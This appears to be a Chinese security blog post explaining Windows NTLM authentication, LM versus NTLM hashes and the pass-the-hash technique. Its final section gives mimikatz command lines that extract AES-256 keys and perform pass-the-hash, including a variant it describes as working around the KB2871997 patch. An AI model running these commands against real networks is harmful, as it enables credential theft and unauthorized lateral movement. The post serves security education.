内网安全:NTML认证流程和PTH原理
NTML认证流程和PTH原理.
0x01 本地认证流程
操作系统会显示登录界面,接收输入密码后,将密码交给lsass进程,这个进程中会存一份明文密码,将明文密码加密成NTLM Hash,和SAM数据库比较认证。
注:
- winlogon.exe(Windows Logon Process),用于管理用户登录和退出。
- LSASS用于微软Windows系统的安全机制,它用于本地安全和登陆策略。
0x02 网络认证
在内网中,早期SMB协议在网络上传输明文口令。后来出现LM hash,很容易就被破解,现在又有了NTLM以及Kerberos。
LM Hash和NTML Hash
Windows操作系统中的密码由两部分加密组成,即LM Hash
和NTML Hash
。
NTLM Hash
正常的明文密码加密为NTLM Hash的方法如下:
1 | password ----> 十六进制编码 ----> Unicode转换 ----> MD4加密 ----> 得到NTLM Hash |
例如:
1 | admin -> hex(16进制编码) = 61646d696e |
2000 | xp | 2003 | Vista | win7 | 2008 | 2012 | |
---|---|---|---|---|---|---|---|
LM | √ | √ | √ | ||||
NTLM | √ | √ | √ | √ | √ | √ | √ |
自Server 2003之后,Windows的认证方式均为NTML Hash。
自Server 2008开始默认禁用LM Hash, 当密码超过14位时候会采用NTLM加密
所以大多数的Windows都采用NTLM协议认证,LM协议已经基本淘汰了。
NTLM V2协议
NTLM是Windows的一种网络认证协议,它是基于挑战(Chalenge)/响应(Response)认证机制的一种认证模式。
NTLM v1与NTLM v2区别:
都是基于NTLM Hash加密的 | NTLM v1 | NTLM v2 |
---|---|---|
加密算法不同 | ||
Challage | 8位 | 16位 |
Net-NTLM Hash | 主要加密算法是DES | 主要加密算法是HMAC-MD5 |
0x03 NTLM 认证
NTLM协议的认证过程分为三步:
- 协商(主要用于确认双方协议版本)
- 质询(就是挑战(Chalenge)响应(Response)模式)
- 验证 (认证完成)
整个过程中 NTML hash 是没有在网络上传递的
0x04 Pass The Hash (PTH)原理
主要作用:
哈希传递是能够在不需要账户明文密码的情况下完成认证的一个技术。
前提:
抓取管理员的密码、NTLM Hash
- 认证的用户名 (质询第一步需要)
- 认证用户的NTLM Hash
原理:
哈希传递就是伪造一个客户端,和正常的NTML认证一样
只是我们用户名对应的NTLM Hash传递到其它主机,给出的 Chanllenge加密,生成一个Response,来完成认证。
个人感觉其实不算啥漏洞,只是一种技巧手法吧。
使用方法:
在目标机器中以管理员权限运行mimikatz
1 | mimikatz.exe "privilege::debug" "sekurlsa::pth /user:<用户名> /domain:<域名> /ntlm:<NTML Hash>" |
绕过补丁,进行哈希传递
- 当系统安装了
KB2871997
补丁,将无法使用常规的哈希传递攻击; - 但是SID为500的Admintrator用户,依然可以使用哈希传递,或者使用AES-256进行哈希传递。
抓取AES-256密钥
1 | mimikatz.exe "privilege::debug" "sekurlsa::ekeys" |
管理员权限运行mimikatz
1 | mimikatz "privilege::debug" "sekurlsa::pth /user:Administrator /domain:zeo.com /aes256:<AES-256密钥>" |
还有很多工具 MSF CS impacket Smbexec
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Zeo's Security Lab!